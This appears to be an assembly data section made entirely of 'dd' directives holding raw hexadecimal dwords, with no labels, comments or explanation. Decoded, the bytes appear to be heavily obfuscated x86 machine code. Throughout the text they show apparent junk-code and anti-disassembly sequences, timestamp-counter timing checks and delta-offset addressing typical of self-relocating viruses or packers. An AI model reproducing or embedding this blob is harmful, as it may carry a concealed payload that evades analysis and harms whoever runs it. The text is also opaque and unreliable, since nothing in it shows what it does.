		dd 0B4240481h, 6A298578h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 12CEC356h, 8D8959C9h
		dd 6290031h, 4D95FFh, 6A0629h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0E9228CC3h, 896068BEh
		dd 292F7D85h, 5161F806h, 5B58E780h, 0C0968589h,	6A062Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0A7853AC3h, 0F9920D1h, 1485h, 0FE900h, 22FE0000h, 0DC3631B3h
		dd 544A9ECFh, 0B8816C24h, 1A0E992h, 81660000h, 8B567DDBh
		dd 2CC08E85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BF0FCDE3h, 0C7F8FBh, 18h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 8DC35343h, 0B58B2CDCh
		dd 62CC092h, 294D9D23h,	858B0629h, 6292BC9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4DC35343h, 0C6AD516h
		dd 0BF0FEB70h, 0ED9D89F8h, 89062934h, 0D5B58906h, 0F06290Ch
		dd 858BDEB7h, 6291885h,	7E21EF81h, 46892FCEh, 8B669604h
		dd 0FF9650FBh, 2CC08EB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 454F67DBh
		dd 0CAAF6311h, 0A5687E59h, 0E9241E8Eh, 13h, 0CEC7917Fh
		dd 533CC000h, 0CAEDC7C6h, 51AFB01Fh, 81EB7B4Eh,	8D5A2434h
		dd 6A2401h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8B66A3C3h, 96858DFBh, 6A062CC0h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 2DF4C353h, 0D511BFBFh, 6834E28Bh, 26BE6EBFh,	0E850902Eh
		dd 10h,	0FA0D4583h, 873B824Dh, 41C50563h, 20918EAEh, 370381BBh
		dd 6A905F0Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 3972C351h, 0FED82102h,	4D95FFh
		dd 9D8B0629h, 6292B3Dh,	5E9h, 7EDB9000h, 8B61AAF3h, 585C7FEh
		dd 3062920h, 0E8000000h, 0Bh, 917E8919h, 0A4461F30h, 0E9F92971h
		dd 0Eh,	0D95F817Dh, 0F17428EBh,	7CB1064Bh, 835B5CB5h, 2CC096BDh
		dd 840F0006h, 4Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 86C35141h, 0B8D62068h, 9D8B7811h, 629167Dh
		dd 3AE9FA8Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 26AAC357h, 3050824Eh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 83F88BC0h, 292005BDh, 850F0306h, 44Ch, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 90C35545h, 0EB2AEBD3h
		dd 0E148C963h, 659D8B50h, 5B062924h, 0C096BD83h, 0F00062Ch
		dd 41384h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BD8B403Dh, 6293451h, 0C096B5FFh
		dd 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 3DF788C3h, 22732C56h, 85B58916h, 0FF062924h
		dd 290E7995h, 1B8C0F06h, 60000000h, 0EE9h, 77A46C00h, 0B9460AE8h
		dd 74D5C0AFh, 81FDC3ECh, 0FB3EFBCEh, 0B58B6145h, 62CC08Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 70C35343h
		dd 0BD89F8C8h, 629355Dh, 106C7h, 0BD890001h, 6290625h
		dd 52505750h, 1224BF66h, 9E9310Fh, 24000000h, 92B8816Ch
		dd 923EC072h, 895B585Ah, 870F2434h, 5, 50D38166h, 96B5FF59h
		dd 6A062CC0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 6B66C350h, 0BCEA3CA9h,	0DB8166ECh
		dd 95FF3CAEh, 6290721h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 5AC35141h, 8EC80718h,	2A894D8Bh, 0C28060D1h
		dd 2DBD898Bh, 6106292Ch, 0C08AB58Bh, 6A062Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 74690C3h
		dd 8966D656h, 79858B7Dh, 6A062924h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 1E57C357h, 7FE56F4Ch, 5F52108Eh, 0C48689h
		dd 9D890000h, 6291869h,	1E6D958Bh, 0BD8B0629h, 6292E91h
		dd 8B04C283h, 290FFD9Dh, 20508906h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 5C35545h, 7E3C7D92h, 0BD8904EEh
		dd 62927A5h, 0D465858Dh, 0F88A062Ch, 0B88689h, 0C6BB0000h
		dd 6A057DCCh, 0CB816600h, 0B5FF57F5h, 62CC096h,	0FFFE8B66h
		dd 29303195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 6EB1C880h, 7E800327h, 0D800F50h
		dd 50000000h, 4D67BF52h, 310F769Ch, 585A5B50h, 6A243489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 488CC350h, 22B6DE4Ah, 0E9F10F7Bh,	0Dh, 0A0C0F4h
		dd 5D818BE2h, 2367FFFDh, 88B0F8Ch, 50000000h, 12199D23h
		dd 0FF5B0629h, 2CC096B5h, 99D2306h, 0FF06290Dh,	292F9595h
		dd 359D8B06h, 83062906h, 2911A9BDh, 840F0006h, 2Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4FC35343h, 0FCBE944Bh
		dd 0BB665396h, 505F3432h, 19BD8B96h, 0FF06292Eh, 2CC096B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 1BB4559h, 85EB34A3h, 2D3595FFh, 6A0629h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 35CBFFC3h, 29BC8B0Fh, 2907F9B5h, 96B5FF06h, 6A062CC0h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 5448C353h, 3BCAA122h, 0A585890Fh,	8B062934h
		dd 292D5DBDh, 595FF06h,	89062906h, 2913998Dh, 0BDBD8306h
		dd 206290Ah, 77840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 89D2D3C3h, 2928259Dh
		dd 29858B06h, 6A062918h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0A0FDC356h,	0AE927h
		dd 757E0000h, 0FF08A8ADh, 31684D58h, 6A0000C6h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 3B5CC355h, 5D85C769h, 62906h, 0E9000000h, 10h, 6D39A79Dh
		dd 51E4950Bh, 4727A295h, 0EB5FC3C6h, 9561BB66h,	0FFF377E9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 13068DAEh, 148D0F5Bh, 0E9000000h, 0Fh, 429AED57h
		dd 0A208756Bh, 0D4B2211Ch, 8BAB04FEh, 53006AC1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 77DD4009h, 3D8671ABh, 800F2C6Fh, 4, 5B8EB350h, 1425858Dh
		dd 14E90629h, 55000000h, 0E1714CC8h, 7A8E4920h,	3A9BF491h
		dd 20D1A785h, 906B6D99h, 2800F50h, 8B000000h, 0B58990DFh
		dd 6290659h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 42E87FC3h, 0BB669821h, 480C416Fh
		dd 858D006Ah, 62DBA6Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 6CC35040h, 0F04D410h,	0C083DBBFh, 35858905h
		dd 90062914h, 0FE8B5250h, 0DE8A310Fh, 9050585Ah, 6850Fh
		dd 0CF810000h, 1A289E2Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0D447A5C3h, 0C747DE7Dh
		dd 0FE894h, 0DBBE0000h,	62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h
		dd 0F781660Bh, 605B5010h, 0BA96E281h, 830F7006h, 3, 61C38B66h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 48463BC3h, 0BFF7D174h, 6979EEC6h,	0CED95FFh
		dd 6A0629h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 1519DAC3h, 0C886C289h, 0FFA8B47h,	38Fh, 6FF38000h
		dd 98088D8Dh, 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8501FFC3h, 6291881h, 9D8BD1FFh
		dd 6292FDDh, 1A29BD83h,	0F010629h, 5485h, 49BD3100h, 0F062909h
		dd 0D84h, 9D896000h, 6293111h, 131124B8h, 26A6162h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C6C35242h, 89FC4420h
		dd 11618509h, 66900629h, 9050F88Bh, 0FFDAB70Fh,	29303195h
		dd 0D98B5206h, 0C29E95Bh, 0E80000h, 5D000000h, 0BA77ED81h
		dd 8589062Dh, 6292E25h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 25C35646h, 0E381669Bh, 858DE080h, 62C91B0h
		dd 0FCBEBF66h, 8B606090h, 0AE8D9h, 795D0000h, 9DEFBD7Ch
		dd 858609E3h, 10E8615Eh, 0D6000000h, 874C36A1h,	29A01FFAh
		dd 0D868EE5Ah, 508E516Fh, 5A310F52h, 50615A58h,	6A90F88Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0D141C350h, 2632A1BAh, 6633FCC6h,	519AE381h
		dd 7E9h, 3994BC00h, 8F4104Ch, 35FF64h, 89000000h, 2908259Dh
		dd 25896406h, 0
		dd 0ECE38166h, 1585FF37h, 6A06292Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0CA4FC355h
		dd 32DA3CF9h, 0F85D9F1h, 48Ah, 0F9BB6600h, 87D38183h, 6A41D80Dh
		dd 0FFD88BFFh, 291A15B5h, 0EEE78106h, 0FF027A94h, 29275595h
		dd 101E906h, 0C3800000h, 8B00B0ADh, 290DE9BDh, 0E970E606h
		dd 0Ah,	0DCBF94AAh, 9D9195E6h, 0BD8BA5E5h, 6291B51h, 0BF6671E4h
		dd 613C7581h, 0D1830Fh,	0C7810000h, 19E601FBh, 29C8B60Fh
		dd 291FC9BDh, 99BD8906h, 0BA062929h, 6,	0E9C18BF9h, 5
		dd 0F69FC960h, 91B50918h, 0C1062912h, 9D8B04E8h, 6292A4Dh
		dd 5D59D8Bh, 0F7660629h, 8ACF81E2h, 2B2081F4h, 0CD9D33C8h
		dd 8B06292Ch, 1EDF80D1h, 0CE9h,	68B0F00h, 81000000h, 710C5ADFh
		dd 0E5858B51h, 66062910h, 0C083DF8Bh, 59958907h, 66062918h
		dd 83347CBBh, 0BF6600C0h, 0D03B6B8Bh, 11830Fh, 0BD890000h
		dd 62909C9h, 3EE9h, 0D19D8B00h,	8B062910h, 2909F18Dh, 39BD8B06h
		dd 83062908h, 840F01E1h, 23h, 0FFD9D8Bh, 0A5830629h, 62909F1h
		dd 0D9D89FEh, 66062911h, 5C0CE781h, 10E59589h, 0E90629h
		dd 8D000000h, 2D23E4B5h, 0AE906h, 388F0000h, 51E1502Eh
		dd 45AABCA8h, 9589006Ah, 62904A1h, 59195FFh, 6A0629h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 313712C3h, 0C739F192h, 844B9h, 83F88B00h, 6AFCE1h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0D8BB36C3h, 0D6F179C8h, 0B70F445Fh, 6AFCFAh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B9D8B2C3h, 0B8DA8BF9h, 0
		dd 0D22BDF8Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0AAC35646h, 0F1BD8960h
		dd 0F062930h, 8961F6BFh, 2925A595h, 880D06h, 958B0000h
		dd 6291E6Dh, 245D9D09h,	8D8B0629h, 6292D81h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0CDC35141h, 3C09890Ah
		dd 503E3A4Ah, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 86E3E4EFh, 8B1E6A4Fh, 292D45BDh,	0FD850906h
		dd 83062915h, 291331BDh, 840F0006h, 77h, 11E9h,	0AA53800h
		dd 8F8A7A11h, 403A6CC7h, 957F52E4h, 9E8B7E0h, 18000000h
		dd 37490B41h, 4DF2588Eh, 0B85Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 313F0AC3h
		dd 291E0DBDh, 6B8D8D06h, 6A06294Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FFB8C355h
		dd 0E19D8BE1h, 83062932h, 292005BDh, 840F0006h,	3C2h, 1811BD8Bh
		dd 0BD830629h, 6292005h, 0CA840F01h, 89000003h,	292771B5h
		dd 5BD8306h, 3062920h, 381860Fh, 60F90000h, 8E9h, 58249000h
		dd 0B874C138h, 0D98C660Fh, 80DBBF0Fh, 6A04E1h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0C90ABCC3h, 0C8840Fh, 0A6BB0000h, 8B32E3C2h,	29188585h
		dd 0FE906h, 87180000h, 73CAE9B6h, 57A2A5E0h, 0B031C5B5h
		dd 0ED853321h, 8B06290Dh, 292B799Dh, 4895006h, 6E824h
		dd 0D7C00000h, 53C03D11h, 43DB8166h, 6A5BD1h, 4468FC8Ah
		dd 51DECA13h, 8BDC8A60h, 815B61F7h, 0F0BB2404h,	6A2154h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 540E19C3h, 9B2ABBD8h, 0BD8BF8C0h, 6291335h, 4D95FFh
		dd 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0F67FFC3h, 68Ch, 798D8900h, 8906290Dh, 2CC09685h
		dd 830F06h, 0E9000000h,	1FFh, 15BD8501h, 858B0629h, 62CC08Eh
		dd 2CE9BD09h, 0C70629h,	18h, 1799B509h,	0B58B0629h, 62CC092h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F2C35040h
		dd 2776EC1h, 0D99F92FFh, 2BC9858Bh, 6A0629h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9A03FC3h
		dd 57994A95h, 0FE8B8052h, 5880Fh, 78BF0000h, 89387266h
		dd 0D98B6606h, 1885858Bh, 800F0629h, 3,	89ADE780h, 2925F595h
		dd 4468906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	97C35646h, 0DBCF5F87h, 875E5B1Fh, 5160502Ch, 17BF665Eh
		dd 348961A9h, 71852924h, 0FF062910h, 2CC08EB5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 27C57BD0h, 1EE98D29h, 68FC0629h, 9BCDC4Dh, 38A0Fh, 8B660000h
		dd 243481FBh, 9A3DFB2h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 5BC35141h, 0C4DB819Ah, 8B1D4BD0h, 29274D9Dh
		dd 96858D06h, 6A062CC0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 93D5C356h, 5F95EC66h
		dd 753E2D8Dh, 301D9589h, 60600629h, 6E8h, 39321200h, 5A390842h
		dd 10E9h, 0CB92500h, 0A810F0E9h, 0A5EA3775h, 0A9904EA4h
		dd 0BD29613Bh, 6290FA5h, 0D8CB8161h, 90705D61h,	0D92AEBFh
		dd 8D0F500Bh, 19h, 11E8h, 0ACCC4300h, 72C27DF0h, 0FC6D90h
		dd 0D0A1282Eh, 616021CDh, 6A905Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E9736C3h, 8277F381h
		dd 95FF3A5Eh, 629004Dh,	17499D23h, 8F0F0629h, 3, 61DF8B66h
		dd 0C7EBEB80h, 29200585h, 306h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0F0D6A89Bh
		dd 0E8527BE7h, 12h, 0DD6BF4Eh, 0A048B20Dh, 62F0ABB8h, 505EBA8Ch
		dd 0B70F5531h, 0BD835FDFh, 62CC096h, 2C840F00h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 38FC357h,	837B66E8h, 0E99B1A65h, 1Eh, 50FFBF0Fh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0BCE695C3h, 0D50B2DC8h, 6689BB8Dh, 838FA9BBh
		dd 292005BDh, 850F0306h, 3CBh, 3880Fh, 8B660000h, 96BD83F8h
		dd 62CC0h, 3B5840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 65C01FC3h, 78A2CCB9h
		dd 0B5FFF98Bh, 62CC096h, 2305BB66h, 0EE9h, 8593A200h, 8E15ECE6h
		dd 93CD5A4Eh, 0FFB7E69Eh, 290E7995h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0F699CB73h
		dd 6C7ECAA2h, 0C08AB58Bh, 9D0B062Ch, 6290DF1h, 106C7h
		dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 4B271C3h,	3C56CD6Fh, 0E8043669h, 8, 417D69B5h
		dd 4CE2F3B6h, 64D8529h,	965B0629h, 8F0Fh, 0F500000h, 286h
		dd 96F88B00h, 5625DB81h, 0B5FF2390h, 62CC096h, 19F1BD01h
		dd 95FF0629h, 6290721h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0EFC35747h, 81146E4Ch, 0DC5BF66h, 105D9D29h
		dd 0B58B0629h, 62CC08Ah, 78DB8166h, 79858BCCh, 66062924h
		dd 8689F88Bh, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 36C35141h, 0DEB70FD0h, 1E6D958Bh, 5E80629h
		dd 0AA000000h, 0BEAB4E81h, 4C2835Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 32C35545h, 0CE9E8h,	334A0000h
		dd 6046A30Bh, 169F296Fh, 5089BA77h, 50006A20h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0A4CF4256h
		dd 6B8A3E68h, 9D296DFDh, 6292119h, 0D465858Dh, 0BD09062Ch
		dd 6291FFDh, 8689F88Bh,	0B8h, 3179BD8Bh, 6A0629h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 6C35343h, 0FB6FC9Bh
		dd 9D01FAB7h, 6290DE9h,	0C096B5FFh, 6A062Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7B163BC3h
		dd 7E960D3h, 22000000h,	9A245ABFh, 896086F3h, 29237D9Dh
		dd 0B8B86606h, 0FF616195h, 29303195h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0BAB2974Ah, 6BE33704h, 5096CC14h, 6A9633B3h,	3E85500h
		dd 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0CA90C355h,	0B5FF08C4h
		dd 62CC096h, 1A398D89h,	95FF0629h, 6292F95h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3EC35545h, 0FB2B49Bh
		dd 0BD83FEB7h, 62911A9h, 4B840F00h, 66000000h, 506A46BBh
		dd 188A0Fh, 0CE80000h, 0FA000000h, 3444985Fh, 0C89CBADAh
		dd 5034F08Dh, 5A310F52h, 34895B58h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0CFC89E1Dh
		dd 2C4DBD2Bh, 0B5FF0629h, 62CC096h, 5153BF66h, 2D3595FFh
		dd 0F7800629h, 96B5FFF9h, 0FF062CC0h, 29060595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0E759251Bh, 0BD83BC5Ah, 6290ABDh, 4B840F02h,	0E8000000h
		dd 6, 0B063842Ch, 0BF522723h, 374C990Dh, 9D235F5Fh, 6291F0Dh
		dd 1829858Bh, 6A0629h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 890186C3h, 291071B5h, 21850106h
		dd 0C6062926h, 85C70000h, 629065Dh, 0
		dd 0E9DFB70Fh, 0FFFFF4FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0AC35747h, 0EF3B6A1Ah, 17859D03h, 0C18B0629h
		dd 8DD98B66h, 29142585h, 6E906h, 51920000h, 0F1723DBBh
		dd 89D3B750h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 20732C3h, 0FE928EFh, 8000000h, 0ED431B41h
		dd 0F05AF32Eh, 0B6579D3Bh, 6A3FB9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D0C35141h,	0F2FB1EBh, 6AFEB7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 98C35242h
		dd 0EE9D268h, 8D3C10E4h, 2DC8AC85h, 0ED9D8B06h,	83062929h
		dd 8F0F05C0h, 6, 2EC9BD8Bh, 0B5090629h,	62909B1h, 50F88B90h
		dd 0F575250h, 80h, 310F5F00h, 65D6DCBFh, 90585A76h, 0BE9h
		dd 72757500h, 0FDA033B9h, 0AC4235C4h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 82940FC3h, 316DAFFCh, 8589006Ah, 6290E9Dh, 0CED95FFh
		dd 6A0629h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0CABB38C3h, 7E8h,	0EC076C00h, 0E60A8844h
		dd 1AA9B589h, 8B5B0629h, 88D8DD8h, 6A062C98h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B567C352h, 93A797D5h, 89607238h, 29331DB5h,	0D1FF6106h
		dd 8B98D89h, 0BD830629h, 6291A29h, 89850F01h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0DC09C353h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0E7EAE9C3h, 0AD6CF055h
		dd 95290B39h, 6292379h,	9E19D8Bh, 50900629h, 6A90DF8Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 3CF7C355h, 0EF1687B8h, 47C55B7Ch,	86E4BF66h
		dd 303195FFh, 0BD890629h, 6290C99h, 0D30E9h, 0E800h, 815D0000h
		dd 2DC8B6EDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 146E0FEh,	290E1D95h, 0B0858D06h
		dd 6A062C91h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 3F1BC355h, 0A95A228Fh,	0A19E14ADh
		dd 2A698D01h, 66500629h, 89F254BFh, 0BE82404h, 1E000000h
		dd 755762FDh, 57718A5Ch, 645B4FFAh, 35FFh, 81660000h, 64C1F5C3h
		dd 2589h, 0DA8B0000h, 2A1585FFh, 6A0629h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 484348C3h
		dd 5224122Bh, 66528ABFh, 6660F98Bh, 0FC11C381h,	331D858Bh
		dd 6A610629h, 0B5B5FFFFh, 8B062916h, 2915919Dh,	0FFD88B06h
		dd 29275595h, 111E906h,	0B70F0000h, 8B00B0DAh, 290F95BDh
		dd 58D0F06h, 66000000h,	0ABE4C781h, 0F7BF70E6h,	0E4773D91h
		dd 0BBC7BB71h, 613C78E4h, 0E5830Fh, 0FE90000h, 52000000h
		dd 0D7734F85h, 22D2434Ah, 0C8B70C3Fh, 0B60FA4DEh, 0B9BD8BC8h
		dd 0BA06291Bh, 6, 68F0Fh, 0BD290000h, 6290491h,	0A151BF66h
		dd 8589C18Bh, 6290065h,	0E8C15F56h, 9230BF04h, 0F7667EFEh
		dd 816650E2h, 5B0025EFh, 9D8BC82Bh, 6292009h, 0BB66D18Bh
		dd 84E9C4D6h, 8B000000h, 885h, 51BD8900h, 83062920h, 816607C0h
		dd 837B88C3h, 858900C0h, 6290A61h, 830FD03Bh, 10h, 665BD01h
		dd 0E9F50629h, 53h, 0C06CBF66h,	0FFFF8D8Bh, 9D89FFFFh
		dd 6291831h, 0F01E183h,	3A84h, 45BD8B00h, 83062930h, 0FFFFFFA5h
		dd 8509FEFFh, 62925C9h,	0FE951h, 62A10000h, 0FAB37DD3h
		dd 0E43609B3h, 0A2F3F6F8h, 95895FA5h, 8, 2C89B501h, 0E90629h
		dd 8D000000h, 2D4954B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8D89C676h, 62905CDh, 8D89006Ah
		dd 6292D9Dh, 59195FFh, 6A0629h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 429BDCC3h, 30C99D89h
		dd 5E90629h, 53000000h,	20660FDAh, 1077B9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 5FF8528Fh, 6AFCE183h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0FC22C355h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0DBC35242h, 0D8E2C7C5h
		dd 53F3FD09h, 68B0F4Fh,	8B000000h, 2911AD9Dh, 89C02B06h
		dd 2906FD85h, 89D22B06h, 290F89B5h, 0C233AD06h,	0D003E8D1h
		dd 7504E983h, 719501F4h, 6A06291Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0B907C356h
		dd 0EDF738BEh, 880DE73Ah, 66000000h, 0E0CEDB81h, 1E6D958Bh
		dd 0FE8A0629h, 2D818D8Bh, 0CE90629h, 6E000000h,	7EAD9B1Dh
		dd 0D329BBEDh, 50CBDC12h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 98C2B3C5h, 0BD2B6151h, 6290845h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DAC35646h
		dd 0A56B1210h, 9D03671Bh, 62933D1h, 1331BD83h, 0F000629h
		dd 7B84h, 0B800h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 82F08BC3h, 341FAEC0h
		dd 8D08B7B7h, 294D6B8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 3CD78060h, 0C1D351BBh
		dd 6AE1FF42h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0A190C351h, 0BFA75A28h, 2F979B6Dh
		dd 2005BD83h, 0F000629h, 49984h, 14E800h, 0C7160000h, 0B054E63Dh
		dd 91E2D64Ah, 0BF89E84Ch, 0B85DCA7Bh, 9D8B327Eh, 6293399h
